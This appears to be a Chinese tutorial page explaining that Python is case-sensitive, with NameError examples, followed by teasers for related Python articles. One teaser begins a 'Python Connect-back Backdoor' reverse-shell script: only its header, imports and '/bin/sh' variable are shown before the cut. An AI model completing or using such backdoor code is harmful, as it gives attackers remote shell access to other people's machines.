python代码区分大小写吗
python中是区分大小写的,不管是变量、函数、还是类,都要严格的区分大小写。
例如,page和Page是两个不同的变量,name和Name也是完全不同的两个变量。
如果不小心混淆了变量的名,程序会报错
例如,定义一个变量 name = 'Lucy',将这个变量输出,但是未区分大小写
name = 'Lucy' print(Name) NameError: name 'Name' is not defined
所以,在平时的学习或者实际工作中,都要注意区分大小写,养成良好的编码习惯。
实例补充:
如果能区分像myname和Myname这样的标识符,那么它就是区分大小写的。也就是说它很在乎大写和小写。
myname='Ayushi' print(Myname) Traceback (most recent call last): File "E:/py3.6code/xx", line 6, in <module> print(Myname) NameError: name 'Myname' is not defined
到此这篇关于python代码区分大小写吗的文章就介绍到这了,更多相关python区分大小写吗内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!
相关推荐
-
python随机生成大小写字母数字混合密码(仅20行代码)
用简单的方法生成随机性较大的密码 仅用20行代码随机生成密码 核心思路:利用random模块 random模块随机生成数字,大小写字母,循环次数 while循环+随机生成的循环次数-->随机plus++ 大写字母ASKII码在65-90之间 小写字母Askll码在97-122之间 最终效果: x个大写字母+y个数字+z个小写字母(x,y,z均随机) 随机性相较于以往单调的 小写+数字+大写+小写+数字+大写- 循环有所提升 import random print("随机数生成") time
-
python 输出所有大小写字母的方法
用一行输出所有大(小)写字母,以及数字,首先要记住该字母所对应的ASCII码,百度一下就可以看到,ASCII可显示字符 (这里只列举数字和字母) 二进制 十进制 十六进制 图形 0011 0000 48 30 0 0011 0001 49 31 1 0011 0010 50 32 2 0011 0011 51 33 3 0011 0100 52 34 4 0011 0101 53 35 5 0011 0110 54 36 6 0011 0111 55 37 7 0011 1000 56 38 8
-
Python 可爱的大小写
函数较简单,看下面的例子: 复制代码 代码如下: s = 'hEllo pYthon' print s.upper() print s.lower() print s.capitalize() print s.title() 输出结果: HELLO PYTHON hello python Hello python Hello Python 判断大小写 Python提供了isupper(),islower(),istitle()方法用来判断字符串的大小写.注意的是: 1. 没有提供 iscapit
-
Python如何转换字符串大小写
Python中的字符串方法是从python1.6到2.0慢慢加进来的,它们也被加到了Jython中.这些方法实现了string模块的大部分方法,如下表所示列出了目前字符串内建支持的方法,所有的方法都包含了对Unicode的支持,有一些甚至是专门用于Unicode的. 例如:s 是一个字符串变量 判断字符串的方法 s.isalnum() #所有字符都是数字或者字母 s.isalpha() #所有字符都是字母 s.isdigit() #所有字符都是数字 s.islower() #所有字符都是小写 s
-
python代码区分大小写吗
python中是区分大小写的,不管是变量.函数.还是类,都要严格的区分大小写. 例如,page和Page是两个不同的变量,name和Name也是完全不同的两个变量. 如果不小心混淆了变量的名,程序会报错 例如,定义一个变量 name = 'Lucy',将这个变量输出,但是未区分大小写 name = 'Lucy' print(Name) NameError: name 'Name' is not defined 所以,在平时的学习或者实际工作中,都要注意区分大小写,养成良好的编码习惯. 实例补充:
-
利用python代码写的12306订票代码
本文实例讲述了python代码写的12306订票代码,分享给大家供大家参考. 具体实现方法如下: import datetime import json import re import sys import time import Image import PyV8 import requests import tools.email_helper as emailHelper reload(sys) sys.setdefaultencoding('utf-8') # @UndefinedVa
-
python代码检查工具pylint 让你的python更规范
1.pylint是什么? Pylint 是一个 Python 代码分析工具,它分析 Python 代码中的错误,查找不符合代码风格标准(Pylint 默认使用的代码风格是 PEP 8,具体信息,请参阅参考资料)和有潜在问题的代码.目前 Pylint 的最新版本是 pylint-0.18.1. Pylint 是一个 Python 工具,除了平常代码分析工具的作用之外,它提供了更多的功能:如检查一行代码的长度,变量名是否符合命名标准,一个声明过的接口是否被真正实现等等. Pylint 的一个很大的好
-
在漏洞利用Python代码真的很爽
不知道怎么忽然想看这个,呵呵 小我的python的反shell的代码 #!/usr/bin/python # Python Connect-back Backdoor # Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com> # Version: 1.0 # Date: July 15th 2006 import sys import os import socket shell = "/bin/sh" def usage(progra
-
Python 代码性能优化技巧分享
如何进行 Python 性能优化,是本文探讨的主要问题.本文会涉及常见的代码优化方法,性能优化工具的使用以及如何诊断代码的性能瓶颈等内容,希望可以给 Python 开发人员一定的参考. Python 代码优化常见技巧 代码优化能够让程序运行更快,它是在不改变程序运行结果的情况下使得程序的运行效率更高,根据 80/20 原则,实现程序的重构.优化.扩展以及文档相关的事情通常需要消耗 80% 的工作量.优化通常包含两方面的内容:减小代码的体积,提高代码的运行效率. 改进算法,选择合适的数据结构 一个
-
盘点提高 Python 代码效率的方法
第一招:蛇打七寸:定位瓶颈 首先,第一步是定位瓶颈.举个简单的栗子,一个函数可以从1秒优化到到0.9秒,另一个函数可以从1分钟优化到30秒,如果要花的代价相同,而且时间限制只能搞定一个,搞哪个?根据短板原理,当然选第二个啦. 一个有经验的程序员在这里一定会迟疑一下,等等?函数?这么说,还要考虑调用次数?如果第一个函数在整个程序中需要被调用100000次,第二个函数在整个程序中被调用1次,这个就不一定了.举这个栗子,是想说明,程序的瓶颈有的时候不一定一眼能看出来.还是上面那个选择,程序员的你应该有
-
将Emacs打造成强大的Python代码编辑工具
基本配置 Emacs本身提供了python-mode,输入M-x python-mode,就可以进入python模式.相应地,会在菜单栏出现Python菜单.当然,一般来讲,如果是.py文件打开的话,也会自动进入该模式. 不过,默认的python模式功能上面用起来还是有点弱,而且许多地方做的并不好,最好下载第三方的python模式.python-mode是一个开源项目,可以在https://launchpad.net/python-mode进行下载. 1.安装 1
-
基于Python代码编辑器的选用(详解)
Python开发环境配置好了,但发现自带的代码编辑器貌似用着有点不大习惯啊,所以咱们就找一个"好用的"代码编辑器吧,网上搜了一下资料,Python常用的编辑器有如下一些: 1. Sublime Text 2. Vim 3. PyScripter 4. PyCharm 5. Eclipse with PyDev 6. Emacs 7. Komodo Edit 8. Wing 9. The Eric Python IDE 10. Interactive Editor for Python
-
在Linux下调试Python代码的各种方法
这是一个我用于调试或分析工具概述,不一定是完整全面,如果你知道更好的工具,请在评论处标记. 日志 是的,的确,不得不强调足够的日志记录对应用程序是多么的重要.您应该记录重要的东西,如果你的记录足够好的话,你可以从日志中找出问题从而节省大量的时间. 如果你曾经用print语句来调试代码现在停下吧,用logging.debug替代,开始可以慢慢来,以后完全禁用它... 追踪 有时看到程序如何被执行会很有帮助.你可以使用IDE的调试共轭ngn一步一步的运行程序,但你需要知道你要找的是什么,否则这将会是
-
让Python代码更快运行的5种方法
不论什么语言,我们都需要注意性能优化问题,提高执行效率.选择了脚本语言就要忍受其速度,这句话在某种程度上说明了Python作为脚本语言的不足之处,那就是执行效率和性能不够亮.尽管Python从未如C和Java一般快速,但是不少Python项目都处于开发语言领先位置. Python很简单易用,但大多数人使用Python都知道在处理密集型cpu工作时,它的数量级依然低于C.Java和JavaScript.但不少第三方不愿赘述Python的优点,而是决定自内而外提高其性能.如果你想让Python在同一
随机推荐
- JSP由浅入深(8)—— JSP Tags
- 基于Jquery的实现回车键Enter切换焦点
- jquery 插件学习(六)
- Java布局管理器使用方法
- Oracle数据库系统使用经验六则
- 在Linux系统上安装Python的Scrapy框架的教程
- JS防止网页被嵌入iframe框架的方法分析
- 浅谈$_FILES数组为空的原因
- PHP如何通过传引用的思想实现无限分类(代码简单)
- python爬取网站数据保存使用的方法
- Delphi实现毫秒级别的倒计时实例代码
- MySQL对数据库数据进行复制的基本过程详解
- 详解Docker挂载本地目录
- PHP中include和require的区别实例分析
- 基于socket.io和node.js搭建即时通信系统
- java使用jdbc链接Oracle示例类分享
- Java简单统计字符串中汉字,英文字母及数字数量的方法
- JavaScript 常用函数
- Lua教程(十三):弱引用table
- sql2005创建远程登录帐户的sql语句